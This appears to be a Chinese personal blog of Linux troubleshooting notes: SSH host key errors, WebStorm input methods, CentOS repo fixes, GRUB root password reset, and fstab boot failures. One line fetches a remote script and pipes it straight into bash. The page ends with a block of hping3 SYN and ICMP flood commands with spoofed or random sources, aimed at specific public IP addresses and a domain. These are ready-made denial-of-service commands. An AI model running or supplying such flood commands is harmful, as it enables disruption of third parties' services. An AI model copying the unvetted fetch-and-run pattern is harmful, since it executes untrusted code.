跳至主要內容

Linux常见错误排查

OrangBus大约 4 分钟

sshd: no hostkeys available — exiting

在开启SSHD服务时报错. sshd re-exec requires execution with an absolute path 用绝对路径启动,也报错如下:

Could not load host key: /etc/ssh/ssh_host_key Could not load host key: /etc/ssh/ssh_host_rsa_key Could not load host key: /etc/ssh/ssh_host_dsa_key Disabling protocol version 1. Could not load host key Disabling protocol version 2. Could not load host key sshd: no****hostkeysavailable — exiting 解决过程:

ssh-keygen -t dsa -f /etc/ssh/ssh_host_dsa_key
ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key
/usr/sbin/sshd

如果上述两个文件存在,仍然出现这个错误,那么试试 chmod 600 上述两个文件。之后应该可以解决。

linux-webstorm无法打字

在启动脚本中加下面的支持即可,前提是你已经安装了搜过输入法

# webstorem (根据自己的实际情况找到对的文件,大概路径是这样的)
# vim $HOME/.local/share/JetBrains/Toolbox/apps/WebStorm/ch-0/212.5457.55/bin/webstorm.sh

# start ======>
export GTK_IM_MODULE=fcitx
export QT_IM_MODULE=fcitx
export XMODIFIERS=@im=fcitx
# <=======end

CentOS Linux 8 - AppStream Error: Failed to download metadata for repo 'appstream': Cannot prepare internal mirrorlist: No URLs in mirrorlist

Step 1: Go to the /etc/yum.repos.d/ directory.

cd /etc/yum.repos.d/

Step 2: Run the below commands

sed -i 's/mirrorlist/#mirrorlist/g' /etc/yum.repos.d/CentOS-*

sed -i 's|#baseurl=http://mirror.centos.org|baseurl=http://vault.centos.org|g' /etc/yum.repos.d/CentOS-*

Step 3: Now run the yum update

yum update -y

That’s it!

Failed to download metadata for repo ‘AppStream’ [CentOS]

cd /etc/yum.repos.d/

sed -i 's/mirrorlist/#mirrorlist/g' /etc/yum.repos.d/CentOS-*

sed -i 's|#baseurl=http://mirror.centos.org|baseurl=http://vault.centos.org|g' /etc/yum.repos.d/CentOS-*

yum update -y

忘记root密码了怎么办

  1. 重启计算机open in new window,启动时按下任意键进入grub菜单,如果计算机默认没开启grub菜单按下shift键或者ESC键可以让grub菜单显示

    image-20231027180307779
    image-20231027180307779
  2. 在grub菜单中选择第一个内核,按下“e”进入编辑模式。这是为了编辑选定的启动项以指定一个可编辑状态的内核命令行。

  3. 找到以“linux16”开头的行,并将其末尾的“ro”更改为“rw init=/sysroot/bin/sh”。

    image-20231027180447306
    image-20231027180447306

    把系统启动到一个可写模式,并设置启动参数,使之开启一个新的shell。

  4. 按下Ctrl-X,启动时将进入一个shell界面。

    通过按下Ctrl-X来启动新设置的启动选项,以进入一个安全模式下的shell窗口,而不需要root密码。

  5. 输入chroot /sysroot进入系统文件目录。

  6. 输入“passwd root”修改root用户密码。

    passwd root # 输入的密码不会显示,重复两次
    

    更改root用户的密码,以便可以进行正常的root用户登录。

  7. 重新启动计算机。

    如果开启了SELLinux,需要执行命令touch /.autorelabel,然后输入exec /sbin/init命令重启系统,重启计算机,使更改生效,并使用新密码登录root用户。

Centos7系统在开启进入系统报错:

原因

一个主机有两块硬盘,第一块硬盘用来安装刺痛,第二块用来存储文件,现在存储空间不足,需要更换一块硬盘,关机后将硬盘拆下,换上了新的硬盘,然后出现了

Give root password for maintenance(or type Control-D to continue)

原因是我们第二块硬盘进行了启动挂在,导致在启动的是偶无法启动

解决方式

修改 vim /etc/fstab 文件, 将自己加载的磁盘删除或者注释了

#
# /etc/fstab
# Created by anaconda on Wed Mar 15 13:44:07 2023
#
# Accessible filesystems, by reference, are maintained under "/dev/disk"
# See man pages fstab(5), findfs(8), mount(8) and/or blkid(8) for more info
#
UUID=7722986f-f8d1-49aa-b46b-2c4e2f484ac0 /                       xfs     defaults        0 0
UUID=fc965964-1567-45e7-894e-618edf6c5301 /boot                   xfs     defaults        0 0
UUID=3a1c6730-a0e7-4eb8-9ee1-4547bb00f7a4 swap                    swap    defaults        0 0
# /dev/sr0    /media/cdrom    xfs    0    0      # 将这行给注释掉,根据自己新增的进行注释

删除腾讯云监控-YDService

wget -qO- https://raw.githubusercontent.com/littleplus/TencentAgentRemove/master/remove.sh | bash

Error: Failed to download metadata for repo ‘appstream’ – CentOS 8

dnf --disablerepo '*' --enablerepo=extras swap centos-linux-repos centos-stream-repos

dnf distro-sync
hping3 -q -n -a 攻击ip -S -s 源端口  --keep -p 目的端口  --flood  被攻击IP 


hping3 -q -n -a 192.168.3.200 -S -s 80  --keep -p 80  --flood  1.14.63.64


hping3 -c 1000 -d 120 -S -w 64 -p 80 --flood --rand-source mip.jdidi.cn

sudo hping3 --flood  -S 1.14.63.64 -p 80 -i u1000

sudo hping3 --flood -S  1.14.63.64

sudo hping3 1.14.63.64 -c 10000 -d 10000 -S -w 64 -p 80 --flood 

目标地址
sudo hping3 -c 999999999 -d 150 -S -w 64 -p 80 -i u1000 220.170.186.139

万引 103.47.81.249
sudo hping3 -c 999999999 -d 150 -S -w 64 -p 80 -i u1000  103.47.81.249

测试
sudo hping3 -c 999999999 -d 150 -S -w 64 -p 8082 -i u1000 1.14.63.64

sudo hping3 --tcp-connect --rate=90000 -c 900000 -q 1.14.63.64
sudo  hping3 -c 10000 -d 120 --icmp -w 64 -p 80 -i u1000 --flood --rand-sourcet 1.14.63.64